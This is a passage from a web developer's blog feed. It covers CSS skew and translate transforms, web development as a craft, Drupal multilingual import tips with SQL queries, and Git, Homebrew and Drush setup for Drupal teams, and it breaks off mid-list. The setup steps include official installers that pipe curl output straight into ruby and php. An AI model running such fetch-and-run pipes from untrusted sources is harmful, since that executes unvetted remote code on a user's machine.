&lt;p data-height=&quot;350&quot; data-theme-id=&quot;9162&quot; data-slug-hash=&quot;bdxyPL&quot; data-default-tab=&quot;result&quot; data-user=&quot;huijing&quot; class=&apos;codepen&apos;&gt;See the Pen &lt;a href=&apos;http://codepen.io/huijing/pen/bdxyPL/&apos;&gt;CSS transforms - translate property&lt;/a&gt; by Chen Hui Jing (&lt;a href=&apos;http://codepen.io/huijing&apos;&gt;@huijing&lt;/a&gt;) on &lt;a href=&apos;http://codepen.io&apos;&gt;CodePen&lt;/a&gt;.&lt;/p&gt;
&lt;h3&gt;&lt;code&gt;transform: skew()&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;skew()&lt;/code&gt; applies a 2D skew by the angle specified along the transform-origin point. It takes two parameters, [ax, ay], where &lt;code&gt;ax&lt;/code&gt; skews the element along the x-axis and &lt;code&gt;ay&lt;/code&gt; skews the element along the y-axis. The second parameter is optional, and if not specified, will default to zero.&lt;/p&gt;
&lt;p&gt;For &lt;code&gt;skewX()&lt;/code&gt;, the skew will take place along the x-axis, and only the y-coordinate of the transform-origin is relevant. For &lt;code&gt;skewY()&lt;/code&gt;, the skew will take place along the y-axis, and only the x-coordinate of the transform-origin is relevant.&lt;/p&gt;
&lt;p data-height=&quot;350&quot; data-theme-id=&quot;9162&quot; data-slug-hash=&quot;QbZyqb&quot; data-default-tab=&quot;result&quot; data-user=&quot;huijing&quot; class=&apos;codepen&apos;&gt;See the Pen &lt;a href=&apos;http://codepen.io/huijing/pen/QbZyqb/&apos;&gt;CSS transforms - skew property&lt;/a&gt; by Chen Hui Jing (&lt;a href=&apos;http://codepen.io/huijing&apos;&gt;@huijing&lt;/a&gt;) on &lt;a href=&apos;http://codepen.io&apos;&gt;CodePen&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;Part 1 Wrap-up&lt;/h2&gt;
&lt;p&gt;That was a lot of the basics and simple 2D transforms. Hopefully this has convinced you that CSS transforms is something you should to your CSS toolkit. Of course, a lot of the exciting and fun stuff will be about 3D transforms and animation, which will be covered in the next part. Stay tuned, people &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;grinning face with smiling eyes&quot;&gt;😁&lt;/span&gt;.&lt;/p&gt;
</content:encoded></item><item><title>Web development as a profession</title><link>https://chenhuijing.com/blog/web-development-as-a-profession/</link><guid isPermaLink="true">https://chenhuijing.com/blog/web-development-as-a-profession/</guid><description>Coding has become the new black. Cliche as this may sound, we cannot discount the fact that in this day and age, the tech industry is worth billions of…</description><pubDate>Mon, 13 Jul 2015 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Coding has become the new black. Cliche as this may sound, we cannot discount the fact that in this day and age, the tech industry is worth billions of dollars. The most enticing part of the tech industry is its low cost of entry.&lt;/p&gt;
&lt;p&gt;Think about it, at the very least, all you need to write code is a computer with a text editor. Computers are no longer the monolithic mainframes of yesteryear. Most people have powerful computers in their pockets. It is only natural that coding has become an in-demand skill. Somebody needs to tell these computers what to do, right?&lt;/p&gt;
&lt;p&gt;However, advancements in technology have brought us to a point where there are significant layers of abstraction between what we interact with and how things actually work.&lt;/p&gt;
&lt;p&gt;If we look back to the &lt;a href=&quot;http://www.computerhistory.org/timeline/?category=cmptr&quot;&gt;early days of computing&lt;/a&gt;, with machines like the ENIAC and the Whirlwind I, the people who built and operated these machines knew exactly what was behind every operation and calculation. Today, most of us don&apos;t even know how our calculators work except that it does math really quickly.&lt;/p&gt;
&lt;p&gt;There are lots of free platforms out there that teach people, without any prior programming experience, how to code. And that&apos;s a wonderful thing. Platforms like &lt;a href=&quot;http://www.codecademy.com/&quot;&gt;Codeacademy&lt;/a&gt;, &lt;a href=&quot;https://www.codeschool.com/&quot;&gt;Code School&lt;/a&gt;, &lt;a href=&quot;https://code.org/&quot;&gt;Code.org&lt;/a&gt;, &lt;a href=&quot;http://www.freecodecamp.com/&quot;&gt;freeCodeCamp&lt;/a&gt; and so on, pitch the idea that coding is a skill anyone can pick up.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;http://Code.org&quot;&gt;Code.org&lt;/a&gt;&apos;s tagline is &amp;quot;Anybody can learn&amp;quot;. The premise is to ease people into coding, showing them that it&apos;s not rocket science to write a computer program. HTML and CSS are very popular &amp;quot;novice&amp;quot; courses.&lt;/p&gt;
&lt;p&gt;To be fair, there&apos;s still a lot of debate over whether HTML is a programming language or not, and I will not get into that. But it is true that HTML and CSS are very beginner-friendly, and herein lies a problem.&lt;/p&gt;
&lt;h2&gt;Just because you can, doesn&apos;t mean you should&lt;/h2&gt;
&lt;p&gt;Because it is relatively easy to pick up HTML and CSS to start building a website, there is a perception that web development is something anyone can do. How many times have you heard people say, I could do that myself, or my nephew could do that for free?&lt;/p&gt;
&lt;p&gt;I do not dispute that someone could learn to make their own website fairly easily, but let&apos;s draw an analogy here. Anybody can play basketball for fun. Most people can bounce a ball and toss it up near the hoop. It&apos;s not that hard.&lt;/p&gt;
&lt;p&gt;But to be good at it, to play basketball at a competitive level, takes work. It takes dedication, focus and training to hone the skills necessary to be a good player. It&apos;s easy to play basketball, it&apos;s hard to not suck at it.&lt;/p&gt;
&lt;p&gt;Does that mean you shouldn&apos;t play basketball if you don&apos;t want to practice all the time? Of course not! Just accept that you&apos;re not going to be very good at it. Same thing for building websites.&lt;/p&gt;
&lt;p&gt;A basic understanding of HTML and CSS should be good enough for you to build a website as a hobby. But don&apos;t expect to be writing production level code. And don&apos;t think that your website is going to be great.&lt;/p&gt;
&lt;p&gt;Building websites is a lot more than just writing HTML and CSS. There has to be an understanding of the web as a medium, and the technologies behind it. And a lot more to consider besides what we can see.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;A little learning is a dangerous thing&lt;br&gt;
Drink deep, or taste not the Pierian spring&lt;br&gt;
There shallow draughts intoxicate the brain,&lt;br&gt;
And drinking largely sobers us again.&lt;br&gt;
― Alexander Pope&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;The platforms I mentioned earlier teach you the basics of building a website, but they don&apos;t focus much attention things like &lt;a href=&quot;http://www.smashingmagazine.com/2010/06/07/the-principles-of-cross-browser-css-coding/&quot;&gt;cross-browser support&lt;/a&gt;, an understanding of &lt;a href=&quot;http://www.html5rocks.com/en/tutorials/internals/howbrowserswork/&quot;&gt;browser rendering&lt;/a&gt; or even &lt;a href=&quot;http://www.w3.org/standards/&quot;&gt;web standards&lt;/a&gt;. Issues with &lt;a href=&quot;https://community.dynatrace.com/community/display/PUB/Best+Practices+on+Web+Site+Performance+Optimization&quot;&gt;performance&lt;/a&gt;, &lt;a href=&quot;https://www.w3.org/WAI/intro/accessibility.php&quot;&gt;accessibility&lt;/a&gt;, progressive enhancement and graceful degradation, all these things are not taught in those courses.&lt;/p&gt;
&lt;p&gt;It is understandable that courses are somewhat simplified to make them more appealing and accessible to the masses, but they shouldn&apos;t give people a false sense of mastery. There should be a disclaimer at the end of each course that informs students of how much more there is to learn before you can create a good website. And I&apos;m sure it is possible to incorporate web standards into the curriculum somehow.&lt;/p&gt;
&lt;h2&gt;Being a professional takes a lot of work&lt;/h2&gt;
&lt;p&gt;I am a self-taught web developer. And I have gone through most of the courses I mentioned above. In retrospect, I do admit that in the beginning, I had the feeling that building websites wasn&apos;t all that hard. But the more I coded, and the more I read and learned, the more I realised how little I knew.&lt;/p&gt;
&lt;p&gt;I started subscribing to sites on web development like &lt;a href=&quot;http://www.smashingmagazine.com/&quot;&gt;Smashing Magazine&lt;/a&gt;, &lt;a href=&quot;http://alistapart.com/&quot;&gt;A List Apart&lt;/a&gt; and &lt;a href=&quot;https://css-tricks.com/&quot;&gt;CSS-tricks&lt;/a&gt;, just to name a few. I listened to as many web development podcasts as I could find.&lt;/p&gt;
&lt;p&gt;When I started, I couldn&apos;t follow anything, it all seemed like Greek to me. Reading one article would lead me to google the various terms I didn&apos;t understand, so I&apos;d end up reading four more articles.&lt;/p&gt;
&lt;p&gt;Even after more than two years of this every single day, I&apos;m nowhere near mastering web development. But I am doing it as a profession, and hence I do see it as my duty, like any other self-respecting professional, to constantly learn and improve my craft.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Profession&lt;/strong&gt;&lt;br&gt;
&lt;em&gt;noun pro·fes·sion \prə-ˈfe-shən\&lt;/em&gt;&lt;br&gt;
a type of job that requires special education, training, or skill&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Professional&lt;/strong&gt;&lt;br&gt;
&lt;em&gt;adjective pro·fes·sion·al \prə-ˈfesh-nəl, -ˈfe-shə-nəl\&lt;/em&gt;&lt;br&gt;
having a particular profession as a permanent career&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;I have met developers who have been working for years, and yet still write bad code that gets deployed to production. I have written my fair share of bad code, especially when I was starting out. And I feel bad every time I think about that shitty code behind my early websites.&lt;/p&gt;
&lt;p&gt;I have revisited some of my earlier projects for refactoring, but there&apos;s definitely still some questionable code out there. There&apos;s this brilliant documentary called &lt;a href=&quot;http://www.magpictures.com/jirodreamsofsushi/&quot;&gt;Jiro Dreams of Sushi&lt;/a&gt; that tells the story of the world&apos;s greatest sushi chef, Jiro Ono.&lt;/p&gt;
&lt;p&gt;In that film, we learn that apprentices spend 10 years learning to use their knives before they are even allowed to cook eggs. That is what it takes to become Shokunin, a skilled craftsman.&lt;/p&gt;
&lt;p&gt;Of course I don&apos;t expect people to learn web development for 10 years before working as a developer but I do think that if you want to do it as a profession, then put in the work to be better than you were yesterday.&lt;/p&gt;
&lt;h2&gt;Don&apos;t be the guy who rows backwards&lt;/h2&gt;
&lt;p&gt;One of the best articles I read about the process of learning to code is &lt;a href=&quot;http://www.vikingcodeschool.com/posts/why-learning-to-code-is-so-damn-hard&quot;&gt;Why learning to code is so damn hard&lt;/a&gt;. If you refer to the diagram, there are a number of stages to go through before one can become job ready.&lt;/p&gt;
&lt;p&gt;But I&apos;ve found that a number of people can get by building websites for a living even though they are just past the hand-holding honeymoon phase. You know how? By googling. Googling for solutions is something every developer does. Googling for solutions is not the problem.&lt;/p&gt;
&lt;p&gt;The problem is implementing those solutions without understanding what every line of code means, and how it applies to your own project.&lt;/p&gt;
&lt;figure&gt;
    &lt;figcaption&gt;Figure from &lt;a href=&quot;http://www.vikingcodeschool.com/posts/why-learning-to-code-is-so-damn-hard&quot;&gt;Why learning to code is so damn hard&lt;/a&gt;&lt;/figcaption&gt;
    &lt;img alt=&quot;Coding Confidence vs Competence&quot; src=&quot;/images/posts/profession/confidence-vs-competence.png&quot;&gt;
&lt;/figure&gt;
&lt;p&gt;Stack Overflow is a double-edged sword. There are often multiple solutions to a problem, and odds are the recommended solution for the original question is not the recommended solution for your use-case even though the code provided can achieve the same result.&lt;/p&gt;
&lt;p&gt;Without taking the time to learn the concepts behind why a solution works, it&apos;s safe to say the resultant implementation will be flawed and buggy. I came across an anecdote that talks about programmers rowing backwards, in other words, writing code that others need to fix. Don&apos;t be that guy.&lt;/p&gt;
&lt;h2&gt;Never stop learning&lt;/h2&gt;
&lt;p&gt;I started out with web development because I liked to build things. It was great for a beginner to be able to see the results of their code immediately on screen. Instant feedback. The more I learned, the more interesting the web became.&lt;/p&gt;
&lt;p&gt;There are so many nuances that the average hobbyist developer probably don&apos;t know about. For example, there are only two CSS properties that can be animated without triggering a browser repaint, opacity and transform, which is something to consider when building performant experiences.&lt;/p&gt;
&lt;p&gt;We could have two websites that look exactly the same, but have very different user experiences depending on how the site was coded.&lt;/p&gt;
&lt;p&gt;If we are making a living as a web professional, keeping ourselves abreast of the latest developments in our industry is absolutely mandatory. That being said, I&apos;m fully aware of the reality that not every developer cares enough to do so.&lt;/p&gt;
&lt;p&gt;I suppose for some developers, the job is a just a means to earn a paycheck. But I truly hope that most of us are in it because this is what we love to do. And that we can raise awareness amongst developers who are earlier in their journey than ourselves on the importance of best practices. Together, we can all contribute to building a better web.&lt;/p&gt;
&lt;h3&gt;Further reading&lt;/h3&gt;
&lt;ul&gt;
    &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;http://www.w3.org/standards/&quot;&gt;W3C standards&lt;/a&gt;&lt;/li&gt;
    &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;http://www.w3.org/Style/CSS/specs.en.html&quot;&gt;Descriptions of all CSS specifications&lt;/a&gt;&lt;/li&gt;
    &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;http://eloquentjavascript.net/&quot;&gt;Eloquent JavaScript&lt;/a&gt;&lt;/li&gt;
    &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;https://www.w3.org/WAI/intro/accessibility.php/&quot;&gt;Introduction to Web Accessibility&lt;/a&gt;&lt;/li&gt;
    &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;http://www.smashingmagazine.com/2010/06/07/the-principles-of-cross-browser-css-coding/&quot;&gt;The Principles Of Cross-Browser CSS Coding&lt;/a&gt;&lt;/li&gt;
    &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;https://community.dynatrace.com/community/display/PUB/Best+Practices+on+Web+Site+Performance+Optimization&quot;&gt;Best Practices on Web Site Performance Optimization&lt;/a&gt;&lt;/li&gt;
    &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;http://www.paulirish.com/2012/why-moving-elements-with-translate-is-better-than-posabs-topleft/&quot;&gt;Why Moving Elements With Translate() Is Better Than Pos:abs Top/left&lt;/a&gt;&lt;/li&gt;
    &lt;li&gt;&lt;a href=&quot;http://thewebahead.net/103&quot;&gt;Animating the Web with Rachel Nabors&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content:encoded></item><item><title>The one in many languages</title><link>https://chenhuijing.com/blog/the-one-in-many-languages/</link><guid isPermaLink="true">https://chenhuijing.com/blog/the-one-in-many-languages/</guid><description>I&apos;ve always heard that Drupal did multi-language well, but you know when you hear about something and think, I know of it, but I don&apos;t know much else about it?…</description><pubDate>Sun, 28 Jun 2015 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;I&apos;ve always heard that Drupal did multi-language well, but you know when you hear about something and think, I know of it, but I don&apos;t know much else about it? That&apos;s exactly how multi-lingual Drupal was for me.&lt;/p&gt;
&lt;p&gt;Until we got to work on the &lt;a href=&quot;http://www.flysfo.cn/&quot;&gt;SFO China site&lt;/a&gt;, which by the way, is one of the finalists for &lt;a href=&quot;https://www.acquia.com/blog/acquia%27s-2015-partner-site-of-the-year-finalists/26/06/2015/3285191&quot;&gt;Acquia&apos;s 2015 Partner Site of The Year&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/posts/sfo/sfo.jpg&quot; alt=&quot;flysfo.cn&quot;&gt;&lt;/p&gt;
&lt;p&gt;At the time, the main SFO site was a single-language implementation. There was some form of multi-language support, but it did not take advantage of Drupal&apos;s multi-lingual infrastructure. We were brought in to build the entire Chinese language site, as well as ensure the infrastructure was in place so additional languages could be implemented easily.&lt;/p&gt;
&lt;p&gt;We worked very closely with the team who built the original SFO site, &lt;a href=&quot;https://web.archive.org/web/20151025175256/http://www.proofic.com/&quot;&gt;Proof Integrated Communications&lt;/a&gt; (Proof IC). As we were in different timezones, we established a work-flow that allowed both teams to collaborate and keep each other updated on the work we were doing.&lt;/p&gt;
&lt;p&gt;It really helped that all the developers, who were elbows-deep in code, had direct access to each other. We were also willing to compromise when it came to meetings and skype calls, where we would come in early and they would stay a little later or vice versa.&lt;/p&gt;
&lt;h2&gt;Homepage redesign&lt;/h2&gt;
&lt;div class=&quot;figure-wrapper&quot;&gt;
    &lt;figure class=&quot;multiple&quot;&gt;
        &lt;figcaption&gt;English site on flysfo.com&lt;/figcaption&gt;
        &lt;img alt=&quot;flysfo.com homepage&quot; src=&quot;/images/posts/sfo/sfo-hp.jpg&quot;&gt;
    &lt;/figure&gt;
    &lt;figure class=&quot;multiple&quot;&gt;
        &lt;figcaption&gt;China site on flysfo.cn&lt;/figcaption&gt;
        &lt;img alt=&quot;flysfo.cn homepage&quot; src=&quot;/images/posts/sfo/sfo-hp2.jpg&quot;&gt;
    &lt;/figure&gt;
&lt;/div&gt;
&lt;p&gt;There were slight differences in the functionality available for the Chinese site and as a result we redesigned the home page for the Chinese site. We laid out the most commonly used links in three panels on the homepage for ease of access. The three major categories in each of these panels were flight information, passenger information and transport information.&lt;/p&gt;
&lt;h2&gt;Importing Chinese content&lt;/h2&gt;
&lt;p&gt;The structure of the Chinese site would almost mirror English site, with a few minor differences. Not all the English content would have Chinese counterparts. The sections marked for translation would be translated accordingly.&lt;/p&gt;
&lt;p&gt;These translations would be imported via feeds. All the content for each content type was formatted into their respective XML files. It took about a week of testing, troubleshooting and tweaking to make sure the translations imported correctly.&lt;/p&gt;
&lt;p&gt;The preparation of the XML files was done by Proof IC, and here was were the close collaboration really paid off. As we set up and tested the feed, we constantly updated Proof IC with tweaks that needed to be made to the XML file.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;em&gt;&amp;lt;nid&amp;gt;&lt;/em&gt; was required for each XML item to act as a unique feed import identifier. We also used it to map the new Chinese nodes back to the original English ones.&lt;/li&gt;
&lt;li&gt;Every item needed a &lt;em&gt;&amp;lt;language&amp;gt;zh-hans&amp;lt;/language&amp;gt;&lt;/em&gt; field. The &lt;em&gt;&amp;lt;language&amp;gt;&lt;/em&gt; field was a convenience tag, which reduced the effort needed to set language of the imported nodes after the fact.&lt;/li&gt;
&lt;li&gt;Every item needed a &lt;em&gt;&amp;lt;url&amp;gt;&lt;/em&gt; field. The &lt;em&gt;&amp;lt;url&amp;gt;&lt;/em&gt; field for each Chinese node would directly mirror its English counterpart. This was to prevent having Chinese characters in the URL, and ensure that after switching languages, the URL of the page remained the same, except with a different domain.&lt;/li&gt;
&lt;li&gt;Image fields had to have the format &lt;em&gt;&amp;lt;image&amp;gt;&lt;a href=&quot;http://url.image.jpg&quot;&gt;http://url.image.jpg&lt;/a&gt;&amp;lt;/image&amp;gt;&lt;/em&gt;&lt;/li&gt;
&lt;li&gt;Each content type had its own XML file. This was because each content type had their own set of fields.&lt;/li&gt;
&lt;li&gt;Taxonomy terms were imported in English. This was to prevent the creation of new terms (in Chinese) on import. Taxonomy terms were translated through the system, using the &lt;strong&gt;Multilingual Taxonomy&lt;/strong&gt; (i18n_taxonomy) module.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Translation gotchas&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Nodes must have a language assigned (by default, language is set to neutral), otherwise they cannot be translated.&lt;/strong&gt; For this case, as the main site was in English, all the nodes were set to &lt;em&gt;en&lt;/em&gt;. Sample query for setting language as follows, rename &lt;em&gt;CONTENT_TYPE&lt;/em&gt; as required:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;update node set language = &apos;en&apos; where type = &apos;CONTENT_TYPE&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p class=&quot;no-margin&quot;&gt;If, for some reason, some of the nodes need to be in another language or remain as neutral, the query will need additional conditions. The following is an example for setting language on language neutral basic pages, excluding certain specific pages. (This was a special case scenario):&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt; UPDATE `node` SET `language` = &apos;en&apos; WHERE `type` = &apos;page&apos; AND `language` = &apos;und&apos; AND `nid` NOT IN (&apos;3593&apos;, &apos;3600&apos;, &apos;3602&apos;)
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Translated nodes need to be manually linked to their original counterparts via SQL command.&lt;/strong&gt; The solution was based off &lt;a href=&quot;http://drupal.stackexchange.com/questions/69763/using-feeds-to-import-multiple-languages&quot;&gt;this post on Drupal Answers&lt;/a&gt;. As this approach involves updating the database, it is prudent to backup the database before proceeding.&lt;/p&gt;
&lt;ul&gt;
&lt;li class=&quot;no-margin&quot;&gt;Export the &lt;em&gt;feeds_items&lt;/em&gt; table to CSV&lt;/li&gt;
&lt;li class=&quot;no-margin&quot;&gt;Add the following line to an empty column
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;=CONCATENATE(&amp;quot;UPDATE `node` SET tnid = &amp;quot;&amp;quot;&amp;quot;,G2,&amp;quot;&amp;quot;&amp;quot; WHERE nid in (&amp;quot;&amp;quot;&amp;quot;,G2,&amp;quot;&amp;quot;&amp;quot;,&amp;quot;&amp;quot;&amp;quot;,B2,&amp;quot;&amp;quot;&amp;quot;);&amp;quot;)
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li class=&quot;no-margin&quot;&gt;Copy the values in aforementioned column into a separate column, by using &lt;em&gt;Paste Special -&gt; Values&lt;/em&gt; to generate the SQL queries&lt;/li&gt;
&lt;li class=&quot;no-margin&quot;&gt;Copy the queries and run them to link the nodes in the database&lt;/li&gt;
&lt;li class=&quot;no-margin&quot;&gt;Run the following query to ensure the nodes which require translation to english are set accordingly:
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;UPDATE `node` SET `language` = &apos;en&apos; WHERE `tnid` = `nid`
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;There may be instances where your views title is still displaying in the default language even though the title has been translated.&lt;/strong&gt; I&apos;m not exactly sure what the cause of this bug is, but I spent quite some time debugging this. And hence, my documented resolution was as follows:&lt;/p&gt;
&lt;p class=&quot;no-margin&quot;&gt;&lt;span class=&quot;kaomoji&quot;&gt;ヽ(#`Д´)ﾉ&lt;/span&gt;&lt;em&gt; So your view title is still in English&lt;/em&gt;&lt;/p&gt;
&lt;ul&gt;
    &lt;li class=&quot;no-margin&quot;&gt;Go to the offending view, and click on &lt;em&gt;Advanced&lt;/em&gt;&lt;/li&gt;
    &lt;li class=&quot;no-margin&quot;&gt;Click on &lt;em&gt;Theme: Information&lt;/em&gt;&lt;/li&gt;
    &lt;li class=&quot;no-margin&quot;&gt;Click on &lt;em&gt;Rescan Template files&lt;/em&gt;&lt;/li&gt;
    &lt;li class=&quot;no-margin&quot;&gt;Go back to your view page and Command+Shift+R&lt;/li&gt;
    &lt;li class=&quot;no-margin&quot;&gt;Pray hard that it works, otherwise you have permission to flip your table &lt;span class=&quot;kaomoji&quot;&gt;(╯°□°）╯︵ ┻━┻&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p class=&quot;no-margin&quot;&gt;And yes, my boss let me get away with kaomojis in my issue tickets, because he&apos;s awesome like that.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Always use t() function for custom string creation to allow stock multilanguage support&lt;/strong&gt;. This is especially relevant for sites that have custom strings in modules or template files. Sample code with t() function as follows:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-php&quot;&gt;$widget-&amp;gt;widget = str_replace(&amp;quot;/&amp;gt;&amp;quot;,&apos; placeholder=&amp;quot;&apos; . t(&apos;Search&apos;) . &apos;&amp;quot; /&amp;gt;&apos;,$widget-&amp;gt;widget);
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Refresh strings is the &amp;quot;Did you try turning it on and off again?&amp;quot; solution for string translation issues.&lt;/strong&gt; If the string that needs to be translated just refuses to show up in the &lt;em&gt;Translate interface&lt;/em&gt;, make sure you have visited the page where the string is rendered, then refresh strings. Somehow the system needs to &amp;quot;register&amp;quot; those strings before they can be recognised for translation.&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;Conclusion&lt;/h2&gt;
&lt;p&gt;This is one of my favourite projects to work on, despite the amount of tricky issues we encountered. It was one of those projects where the client was a pleasure to work with, and everyone was on the same page.&lt;/p&gt;
&lt;p&gt;The amount of R&amp;amp;D we did for this project set us up with a lot of valuable knowledge and experience for future multi-language sites as well. With Drupal 8 having even &lt;a href=&quot;http://www.drupal8multilingual.org/&quot;&gt;better multilingual support&lt;/a&gt;, I can see how Drupal can become the platform of choice for multilanguage sites moving forward.&lt;/p&gt;
</content:encoded></item><item><title>Developing Drupal sites as a team</title><link>https://chenhuijing.com/blog/team-drupal-development/</link><guid isPermaLink="true">https://chenhuijing.com/blog/team-drupal-development/</guid><description>A lot of people, myself included, start out with Drupal on their own, developing and building everything as a one-person operation. When we&apos;re working by…</description><pubDate>Mon, 15 Jun 2015 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;A lot of people, myself included, start out with Drupal on their own, developing and building everything as a one-person operation. When we&apos;re working by ourselves, there will be certain good practices that we neglect, either out of convenience (there&apos;s no point doing X since I&apos;m the only one touching this project), or out of ignorance (wow, I had no idea that was how Y was supposed to be used).&lt;/p&gt;
&lt;p&gt;Working with a team of people to build a Drupal site (or any other development project) requires more structure and discipline to ensure the project doesn&apos;t descend into a pile of spaghetti code. I&apos;m going to try to summarise the processes that worked for my team thus far. I do foresee our process continuing to evolve as we start using new tools and learning new things as we go along.&lt;/p&gt;
&lt;h2&gt;Required development tools&lt;/h2&gt;
&lt;ul&gt;
  &lt;li class=&quot;no-margin&quot;&gt;
    &lt;strong&gt;Git&lt;/strong&gt;
    &lt;p&gt;Git is a version control system. Simply put, a version control system tracks your files and file structures for any changes. You can then commit those changes to a repository. It allows you to rollback to previous commits easily.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;
    &lt;strong&gt;Drush&lt;/strong&gt;
    &lt;p&gt;Drush is a shell interface for managing Drupal from the command line. It is a tool that speeds up our development workflow by allowing us to perform many different administrative tasks, like clearing cache, running cron jobs, updating modules and so on, with just a simple command or two.&lt;/p&gt;
  &lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Both tools are crucial for any team working with Drupal. Installation instructions for Git are pretty straightforward. It&apos;s usually the installation of Drush that trips people up.&lt;/p&gt;
&lt;h3&gt;Installing Git&lt;/h3&gt;
&lt;p&gt;If you&apos;re on a Mac, and have Xcode with command line tools installed, you already have Git on your system. But if you want to upgrade to the latest version of Git, which I highly recommend, the simplest way is via &lt;a href=&quot;http://brew.sh/&quot;&gt;homebrew&lt;/a&gt;.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;Install Homebrew.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;ruby -e &amp;quot;$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/master/install)&amp;quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p class=&quot;no-margin&quot;&gt;You can check that everything is running correctly by running:&lt;/p&gt;
```bash
brew doctor
```
&lt;p&gt;If it returns &lt;code&gt;Your system is ready to brew&lt;/code&gt; then you&apos;re good to go. 2. Install Git.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;brew install git
&lt;/code&gt;&lt;/pre&gt;
&lt;p class=&quot;no-margin&quot;&gt;You can check the installation by running:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;which git
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;For Windows users, you can download the installer for Git from &lt;a href=&quot;http://msysgit.github.io/&quot;&gt;Git for Windows&lt;/a&gt;. There is an excellent guide called &lt;a href=&quot;http://guides.beanstalkapp.com/version-control/git-on-windows.html&quot;&gt;Working with Git on Windows&lt;/a&gt; by &lt;a href=&quot;http://beanstalkapp.com/&quot;&gt;Beanstalk&lt;/a&gt; that can help you get Git up and running on your Windows machine.&lt;/p&gt;
&lt;h3&gt;Installing Drush&lt;/h3&gt;
&lt;p class=&quot;no-margin&quot;&gt;&lt;strong&gt;Instructions for Mac Users&lt;/strong&gt;&lt;/p&gt;
This will install the latest version of Drush on your machine. This method works with systems running MAMP as well as homebrew versions of php.
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;Install Composer globally&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;curl -sS https://getcomposer.org/installer | php
mv composer.phar /usr/local/bin/composer
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Add the following line to your shell configuration file (&lt;code&gt;.bash_profile&lt;/code&gt; or &lt;code&gt;.zprofile&lt;/code&gt;)&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;export PATH=&amp;quot;$HOME/.composer/vendor/bin:$PATH&amp;quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Reload your shell configuration or restart your terminal.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Check that Composer has been installed by running:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;which composer
&lt;/code&gt;&lt;/pre&gt;
&lt;p class=&quot;no-margin&quot;&gt;It should return:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;/usr/local/bin/composer
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Install the latest version of Drush from HEAD&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;composer global require drush/drush:dev-master
&lt;/code&gt;&lt;/pre&gt;
&lt;p class=&quot;no-margin&quot;&gt;To update Drush, run the following:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;composer global update
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;
